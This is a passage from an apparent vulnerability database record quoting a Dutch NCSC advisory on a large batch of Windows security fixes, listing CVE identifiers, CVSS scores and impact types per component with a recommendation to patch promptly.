| \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:05.987517Z"}, {"uuid": "6081f5bc-f8fd-4bec-b8da-917d19eeb097", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54114", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     